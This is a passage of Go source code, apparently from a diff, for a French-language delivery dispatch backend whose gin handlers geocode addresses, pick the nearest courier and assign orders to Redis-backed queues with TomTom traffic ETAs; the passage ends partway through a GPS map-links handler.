// Si adresse fournie, la géocoder
|
||||
if req.Address != "" {
|
||||
location, err := geoService.GeocodeAddress(req.Address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Impossible de géocoder l'adresse",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
targetCoords.Latitude = location.Latitude
|
||||
targetCoords.Longitude = location.Longitude
|
||||
} else if req.Latitude != 0 && req.Longitude != 0 {
|
||||
// Sinon utiliser les coordonnées fournies
|
||||
targetCoords.Latitude = req.Latitude
|
||||
targetCoords.Longitude = req.Longitude
|
||||
} else {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Fournir soit une adresse, soit des coordonnées GPS",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Valider les coordonnées
|
||||
if err := services.ValidateCoordinates(targetCoords); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Coordonnées invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer les livreurs disponibles
|
||||
availableLivreurs, err := database.GetAvailableDeliveryPersonsRedis()
|
||||
if err != nil || len(availableLivreurs) == 0 {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur disponible",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Extraire les usernames
|
||||
usernames := make([]string, len(availableLivreurs))
|
||||
for i, livreur := range availableLivreurs {
|
||||
usernames[i] = livreur.Username
|
||||
}
|
||||
|
||||
// Trouver le plus proche (calcul rapide avec Haversine)
|
||||
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur avec position GPS valide",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Recalculer l'ETA du plus proche avec TomTom pour plus de précision
|
||||
etaWithTraffic, distanceReal, err := services.GetETAWithTraffic(nearest.Location, targetCoords)
|
||||
if err == nil {
|
||||
nearest.EstimatedTime = etaWithTraffic
|
||||
nearest.Distance = distanceReal
|
||||
log.Printf("✅ Livreur le plus proche: %s (%.2f km, ~%d min avec trafic)",
|
||||
nearest.Username, nearest.Distance, nearest.EstimatedTime)
|
||||
} else {
|
||||
log.Printf("✅ Livreur le plus proche: %s (%.2f km, ~%d min sans trafic)",
|
||||
nearest.Username, nearest.Distance, nearest.EstimatedTime)
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"target": gin.H{
|
||||
"latitude": targetCoords.Latitude,
|
||||
"longitude": targetCoords.Longitude,
|
||||
},
|
||||
"nearest_delivery_person": gin.H{
|
||||
"username": nearest.Username,
|
||||
"latitude": nearest.Location.Latitude,
|
||||
"longitude": nearest.Location.Longitude,
|
||||
"distance_km": nearest.Distance,
|
||||
"eta_minutes": nearest.EstimatedTime,
|
||||
"traffic_aware": err == nil,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// LISTE TOUS LES LIVREURS TRIÉS PAR DISTANCE
|
||||
// ============================================
|
||||
|
||||
// GetAllDeliveryDistances retourne tous les livreurs triés par distance
|
||||
// POST /api/v2/admin/protected/delivery/distances
|
||||
// Body: {"address": "123 Main St"} ou {"latitude": 48.8566, "longitude": 2.3522}
|
||||
func GetAllDeliveryDistances(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Address string `json:"address"`
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var targetCoords services.Coordinates
|
||||
|
||||
if req.Address != "" {
|
||||
location, err := geoService.GeocodeAddress(req.Address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Impossible de géocoder l'adresse",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
targetCoords.Latitude = location.Latitude
|
||||
targetCoords.Longitude = location.Longitude
|
||||
} else if req.Latitude != 0 && req.Longitude != 0 {
|
||||
targetCoords.Latitude = req.Latitude
|
||||
targetCoords.Longitude = req.Longitude
|
||||
} else {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Fournir soit une adresse, soit des coordonnées GPS",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if err := services.ValidateCoordinates(targetCoords); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Coordonnées invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
availableLivreurs, err := database.GetAvailableDeliveryPersonsRedis()
|
||||
if err != nil || len(availableLivreurs) == 0 {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur disponible",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
usernames := make([]string, len(availableLivreurs))
|
||||
for i, livreur := range availableLivreurs {
|
||||
usernames[i] = livreur.Username
|
||||
}
|
||||
|
||||
distances, err := geoService.GetAllDeliveryDistances(targetCoords, usernames)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur calcul des distances",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"target": gin.H{
|
||||
"latitude": targetCoords.Latitude,
|
||||
"longitude": targetCoords.Longitude,
|
||||
},
|
||||
"delivery_persons": distances,
|
||||
"count": len(distances),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// AUTO-ASSIGNATION INTELLIGENTE AVEC QUEUE MULTI-COMMANDES
|
||||
// ============================================
|
||||
func AutoAssignNearestDeliveryPerson(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer la commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
status, ok := command["status"].(string)
|
||||
if !ok || (status != "pending" && status != "priority") {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "La commande doit être en statut 'pending' ou 'priority'",
|
||||
"current_status": status,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer l'adresse de livraison de la commande
|
||||
address, ok := command["adresse"].(string)
|
||||
if !ok || address == "" || address == "Adresse non spécifiée" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Cette commande n'a pas d'adresse de livraison valide",
|
||||
"command_id": commandID,
|
||||
"message": "L'adresse de livraison doit être définie lors de la création de la commande",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📍 Adresse de livraison: %s", address)
|
||||
|
||||
// Géocoder l'adresse
|
||||
location, err := geoService.GeocodeAddress(address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Impossible de géocoder l'adresse de livraison",
|
||||
"address": address,
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)", address, location.Latitude, location.Longitude)
|
||||
|
||||
// ============================================
|
||||
// 🔹 SAUVEGARDER LES COORDONNÉES DANS LE CACHE REDIS
|
||||
// ============================================
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||
"lat": location.Latitude,
|
||||
"lon": location.Longitude,
|
||||
})
|
||||
if err := db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, 4*time.Hour).Err(); err != nil {
|
||||
log.Printf("⚠️ Impossible de sauvegarder coordonnées destination: %v", err)
|
||||
} else {
|
||||
log.Printf("📍 Coordonnées destination sauvegardées pour commande %d: (%.6f, %.6f)",
|
||||
commandID, location.Latitude, location.Longitude)
|
||||
}
|
||||
|
||||
targetCoords := services.Coordinates{
|
||||
Latitude: location.Latitude,
|
||||
Longitude: location.Longitude,
|
||||
}
|
||||
|
||||
// Compter le nombre de livreurs actifs
|
||||
activeCount, _ := database.CountActiveDeliverymen()
|
||||
|
||||
if activeCount == 0 {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur actif (tous sont offline)",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🚗 %d livreur(s) actif(s)", activeCount)
|
||||
|
||||
// Récupérer les livreurs actifs avec capacité disponible
|
||||
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
|
||||
|
||||
// Si aucun livreur avec capacité disponible
|
||||
if err != nil || len(activeLivreurs) == 0 {
|
||||
// Cas 1: Un seul livreur actif -> pas de limite
|
||||
if activeCount == 1 {
|
||||
singleDeliveryman, err := database.GetSingleActiveDeliveryman()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Impossible de trouver le livreur actif",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Calculer ETA avec TomTom
|
||||
travelTime, distance, err := calculateTravelTimeWithTomTom(geoService, singleDeliveryman, location.Latitude, location.Longitude)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur calcul ETA",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Passer les coordonnées à la fonction d'assignation
|
||||
err = database.AssignCommandToDeliverymanQueueWithCoords(commandID, singleDeliveryman, travelTime, location.Latitude, location.Longitude, address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de l'assignation",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
database.SetDeliveryPersonStatus(singleDeliveryman, "busy", commandID)
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(singleDeliveryman)
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
log.Printf("✅ Commande %d assignée au seul livreur actif %s (%.2f km)", commandID, singleDeliveryman, distance)
|
||||
|
||||
// ✅ CORRECTION: Utiliser etaData directement sans accès aux clés
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Commande assignée au seul livreur actif (sans limite)",
|
||||
"command_id": commandID,
|
||||
"assigned_to": gin.H{
|
||||
"username": singleDeliveryman,
|
||||
"travel_time": travelTime,
|
||||
"distance_km": distance,
|
||||
"queue_position": queueInfo["queue_size"],
|
||||
"single_driver": true,
|
||||
"traffic_aware": true,
|
||||
},
|
||||
"eta": etaData, // ✅ Directement l'objet complet
|
||||
"delivery_address": address,
|
||||
"coordinates": gin.H{
|
||||
"latitude": location.Latitude,
|
||||
"longitude": location.Longitude,
|
||||
},
|
||||
"queue_info": queueInfo,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Cas 2: Plusieurs livreurs mais tous à capacité max -> Distribution forcée
|
||||
allAtCapacity, numActive, _ := database.AreAllDeliverymenAtCapacity()
|
||||
|
||||
if allAtCapacity && numActive > 1 {
|
||||
log.Printf("⚠️ Tous les %d livreurs sont à capacité max - Distribution forcée", numActive)
|
||||
|
||||
// Trouver le livreur le moins chargé (même s'il dépasse 10)
|
||||
leastLoaded, currentSize, err := database.GetLeastLoadedDeliverymanForced()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Impossible de trouver un livreur pour la distribution forcée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Calculer le temps de trajet avec TomTom
|
||||
travelTime, distance, err := calculateTravelTimeWithTomTom(geoService, leastLoaded, location.Latitude, location.Longitude)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur calcul ETA",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Assigner de force avec coordonnées
|
||||
err = database.ForceAssignCommandToDeliverymanWithCoords(commandID, leastLoaded, travelTime, location.Latitude, location.Longitude, address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de l'assignation forcée",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
database.SetDeliveryPersonStatus(leastLoaded, "busy", commandID)
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(leastLoaded)
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
log.Printf("✅ FORCE: Commande %d assignée à %s (capacité dépassée: %d, %.2f km)", commandID, leastLoaded, currentSize+1, distance)
|
||||
|
||||
// ✅ CORRECTION: Utiliser etaData directement
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Commande assignée par distribution forcée (capacité max dépassée)",
|
||||
"command_id": commandID,
|
||||
"forced": true,
|
||||
"assigned_to": gin.H{
|
||||
"username": leastLoaded,
|
||||
"travel_time": travelTime,
|
||||
"distance_km": distance,
|
||||
"queue_position": currentSize + 1,
|
||||
"over_capacity": true,
|
||||
"traffic_aware": true,
|
||||
},
|
||||
"eta": etaData, // ✅ Directement l'objet complet
|
||||
"delivery_address": address,
|
||||
"coordinates": gin.H{
|
||||
"latitude": location.Latitude,
|
||||
"longitude": location.Longitude,
|
||||
},
|
||||
"queue_info": queueInfo,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Cas 3: Erreur générique
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur actif avec capacité disponible",
|
||||
"active_count": activeCount,
|
||||
"max_per_deliveryman": db.MAX_COMMANDS_PER_DELIVERYMAN,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Cas normal: Au moins un livreur avec capacité disponible
|
||||
usernames := make([]string, len(activeLivreurs))
|
||||
for i, livreur := range activeLivreurs {
|
||||
usernames[i] = livreur.Username
|
||||
}
|
||||
|
||||
// Trouver le livreur le plus proche (calcul rapide)
|
||||
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur avec position GPS valide",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Recalculer l'ETA avec TomTom pour plus de précision
|
||||
travelTime, distance, err := services.GetETAWithTraffic(nearest.Location, targetCoords)
|
||||
if err != nil {
|
||||
// Fallback sur le calcul initial
|
||||
travelTime = nearest.EstimatedTime
|
||||
distance = nearest.Distance
|
||||
log.Printf("⚠️ TomTom indisponible, utilisation du calcul Haversine")
|
||||
}
|
||||
|
||||
log.Printf("🎯 Livreur le plus proche: %s (%.2f km, ~%d min)", nearest.Username, distance, travelTime)
|
||||
|
||||
// ✅ Assigner à la queue du livreur avec coordonnées
|
||||
err = database.AssignCommandToDeliverymanQueueWithCoords(commandID, nearest.Username, travelTime, location.Latitude, location.Longitude, address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de l'assignation",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(nearest.Username)
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
log.Printf("✅ Commande %d assignée à la queue de %s", commandID, nearest.Username)
|
||||
|
||||
// ✅ CORRECTION: Utiliser etaData directement
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Commande assignée à la queue du livreur",
|
||||
"command_id": commandID,
|
||||
"assigned_to": gin.H{
|
||||
"username": nearest.Username,
|
||||
"distance_km": distance,
|
||||
"travel_time": travelTime,
|
||||
"queue_position": queueInfo["queue_size"],
|
||||
"single_driver": activeCount == 1,
|
||||
"traffic_aware": err == nil,
|
||||
},
|
||||
"eta": etaData, // ✅ Directement l'objet complet
|
||||
"delivery_address": address,
|
||||
"coordinates": gin.H{
|
||||
"latitude": location.Latitude,
|
||||
"longitude": location.Longitude,
|
||||
},
|
||||
"queue_info": queueInfo,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ASSIGNATION EN MASSE (TOUTES LES COMMANDES PENDING)
|
||||
// ============================================
|
||||
|
||||
// AutoAssignAllPendingCommands assigne toutes les commandes en attente
|
||||
// POST /api/v2/admin/protected/commands/auto-assign-all
|
||||
func AutoAssignAllPendingCommands(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer toutes les commandes pending
|
||||
commands, err := database.GetAllCommands("pending", "")
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération des commandes",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
if len(commands) == 0 {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Aucune commande en attente",
|
||||
"assigned": 0,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📋 %d commandes en attente à assigner", len(commands))
|
||||
|
||||
var assigned []gin.H
|
||||
var failed []gin.H
|
||||
|
||||
for _, cmd := range commands {
|
||||
commandID, ok := cmd["id"].(int)
|
||||
if !ok {
|
||||
// Essayer avec float64
|
||||
if idFloat, ok := cmd["id"].(float64); ok {
|
||||
commandID = int(idFloat)
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// Récupérer l'adresse
|
||||
address, ok := cmd["adresse"].(string)
|
||||
if !ok || address == "" || address == "Adresse non spécifiée" {
|
||||
failed = append(failed, gin.H{
|
||||
"command_id": commandID,
|
||||
"error": "Adresse de livraison manquante",
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Géocoder l'adresse
|
||||
location, err := geoService.GeocodeAddress(address)
|
||||
if err != nil {
|
||||
failed = append(failed, gin.H{
|
||||
"command_id": commandID,
|
||||
"error": fmt.Sprintf("Impossible de géocoder: %s", address),
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
targetCoords := services.Coordinates{
|
||||
Latitude: location.Latitude,
|
||||
Longitude: location.Longitude,
|
||||
}
|
||||
|
||||
// Récupérer les livreurs actifs
|
||||
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
|
||||
if err != nil || len(activeLivreurs) == 0 {
|
||||
failed = append(failed, gin.H{
|
||||
"command_id": commandID,
|
||||
"error": "Aucun livreur disponible",
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
usernames := make([]string, len(activeLivreurs))
|
||||
for i, livreur := range activeLivreurs {
|
||||
usernames[i] = livreur.Username
|
||||
}
|
||||
|
||||
// Trouver le livreur le plus proche (version rapide pour assignation masse)
|
||||
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
|
||||
if err != nil {
|
||||
failed = append(failed, gin.H{
|
||||
"command_id": commandID,
|
||||
"error": "Aucun livreur avec position GPS",
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Pour l'assignation en masse, on utilise le calcul rapide
|
||||
travelTime := nearest.EstimatedTime
|
||||
distance := nearest.Distance
|
||||
|
||||
// Assigner à la queue
|
||||
err = database.AssignCommandToDeliverymanQueue(commandID, nearest.Username, travelTime)
|
||||
if err != nil {
|
||||
failed = append(failed, gin.H{
|
||||
"command_id": commandID,
|
||||
"error": err.Error(),
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Mettre à jour le statut du livreur
|
||||
database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
|
||||
|
||||
// Récupérer l'ETA - ✅ CORRECTION: Gérer les types correctement
|
||||
etaData, _ := database.GetCommandETA(commandID)
|
||||
|
||||
var totalETA, waitTime interface{}
|
||||
totalETA = "N/A"
|
||||
waitTime = "N/A"
|
||||
|
||||
if etaData != nil {
|
||||
if val, exists := etaData["total_eta_minutes"]; exists {
|
||||
totalETA = val
|
||||
}
|
||||
if val, exists := etaData["wait_time_minutes"]; exists {
|
||||
waitTime = val
|
||||
}
|
||||
}
|
||||
|
||||
assigned = append(assigned, gin.H{
|
||||
"command_id": commandID,
|
||||
"assigned_to": nearest.Username,
|
||||
"distance_km": distance,
|
||||
"total_eta_minutes": totalETA,
|
||||
"wait_time_minutes": waitTime,
|
||||
"travel_time": travelTime,
|
||||
})
|
||||
|
||||
log.Printf("✅ Commande %d -> %s (ETA: %v min)", commandID, nearest.Username, totalETA)
|
||||
}
|
||||
|
||||
// Récupérer l'overview des queues
|
||||
queuesOverview, _ := database.GetAllQueuesOverview()
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": fmt.Sprintf("%d commandes assignées, %d échecs", len(assigned), len(failed)),
|
||||
"total_pending": len(commands),
|
||||
"assigned_count": len(assigned),
|
||||
"failed_count": len(failed),
|
||||
"assigned": assigned,
|
||||
"failed": failed,
|
||||
"queues_overview": queuesOverview,
|
||||
"note": "ETAs calculés avec Haversine pour rapidité, précision TomTom disponible individuellement",
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RÉCUPÉRER L'ÉTAT DES QUEUES DES LIVREURS
|
||||
// ============================================
|
||||
|
||||
// GetAllDeliveryQueues retourne l'état de toutes les queues des livreurs
|
||||
// GET /api/v2/admin/protected/delivery/queues
|
||||
func GetAllDeliveryQueues(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
overview, err := database.GetAllQueuesOverview()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération des queues",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer les détails de chaque livreur
|
||||
var deliverymenDetails []gin.H
|
||||
|
||||
keys, _ := db.Redis.Keys(db.RedisCtx, "delivery:status:*").Result()
|
||||
for _, key := range keys {
|
||||
username := key[len("delivery:status:"):]
|
||||
|
||||
queueInfo, _ := database.GetDeliverymanQueueInfo(username)
|
||||
|
||||
// Récupérer le statut
|
||||
statusData, _ := db.Redis.Get(db.RedisCtx, key).Result()
|
||||
var status map[string]interface{}
|
||||
if statusData != "" {
|
||||
json.Unmarshal([]byte(statusData), &status)
|
||||
}
|
||||
|
||||
deliverymenDetails = append(deliverymenDetails, gin.H{
|
||||
"username": username,
|
||||
"status": status["status"],
|
||||
"queue_info": queueInfo,
|
||||
})
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"overview": overview,
|
||||
"deliverymen_detail": deliverymenDetails,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RÉCUPÉRER LA QUEUE D'UN LIVREUR SPÉCIFIQUE
|
||||
// ============================================
|
||||
|
||||
// GetDeliverymanQueue retourne la queue d'un livreur spécifique
|
||||
// GET /api/v2/admin/protected/delivery/:username/queue
|
||||
func GetDeliverymanQueue(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
queueInfo, err := database.GetDeliverymanQueueInfo(username)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération de la queue",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"queue_info": queueInfo,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// VALIDATION D'ADRESSE
|
||||
// ============================================
|
||||
|
||||
// ValidateAddress vérifie si une adresse peut être géocodée
|
||||
// POST /api/v1/validate-address
|
||||
// Body: {"address": "123 Main St, Paris"}
|
||||
func ValidateAddress(c *gin.Context) {
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
var req struct {
|
||||
Address string `json:"address" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Adresse requise",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
isValid := geoService.IsValidAddress(req.Address)
|
||||
|
||||
if !isValid {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"valid": false,
|
||||
"message": "Adresse introuvable ou invalide",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer les détails
|
||||
location, _ := geoService.GeocodeAddress(req.Address)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"valid": true,
|
||||
"message": "Adresse valide",
|
||||
"latitude": location.Latitude,
|
||||
"longitude": location.Longitude,
|
||||
"display_name": location.DisplayName,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPER FUNCTION - CALCUL ETA AVEC TOMTOM
|
||||
// ============================================
|
||||
|
||||
// calculateTravelTimeWithTomTom calcule l'ETA avec TomTom ou fallback local
|
||||
func calculateTravelTimeWithTomTom(geoService *services.GeoService, deliverymanUsername string, targetLat, targetLon float64) (int, float64, error) {
|
||||
// Récupérer position du livreur
|
||||
deliverymanLoc, err := geoService.GetDeliveryPersonLocation(deliverymanUsername)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("position du livreur introuvable: %w", err)
|
||||
}
|
||||
|
||||
targetCoords := services.Coordinates{
|
||||
Latitude: targetLat,
|
||||
Longitude: targetLon,
|
||||
}
|
||||
|
||||
// Calculer ETA avec TomTom (avec fallback automatique intégré)
|
||||
travelTime, distance, err := services.GetETAWithTraffic(*deliverymanLoc, targetCoords)
|
||||
if err != nil {
|
||||
// Fallback sur calcul local
|
||||
distance = services.CalculateDistance(*deliverymanLoc, targetCoords)
|
||||
travelTime = services.CalculateETA(distance)
|
||||
log.Printf("⚠️ TomTom indisponible pour %s, fallback: %.2f km -> %d min",
|
||||
deliverymanUsername, distance, travelTime)
|
||||
} else {
|
||||
log.Printf("🛣️ TomTom utilisé pour %s: %.2f km -> %d min (trafic réel)",
|
||||
deliverymanUsername, distance, travelTime)
|
||||
}
|
||||
|
||||
return travelTime, distance, nil
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
// ============================================
|
||||
// handlers/gps_handlers.go
|
||||
// Gestion des liens GPS et visualisation
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// GetDeliveryPersonMapLinks génère les liens de cartes pour visualiser la position d'un livreur
|
||||
// GET /api/v2/admin/protected/delivery-persons/:username/map-links
|
||||
func GetDeliveryPersonMapLinks(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Vérification du rôle admin
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🗺️ [MAP_LINKS] Demande pour livreur: %s", username)
|
||||
|
||||
// Récupérer la position GPS du livreur
|
||||
lat, lon, err := database.GetDeliveryPersonLocation(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [MAP_LINKS] Erreur position: %v", err)
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"success": false,
|
||||
"error": "Position GPS non disponible pour ce livreur",
|
||||
"details": err.Error(),
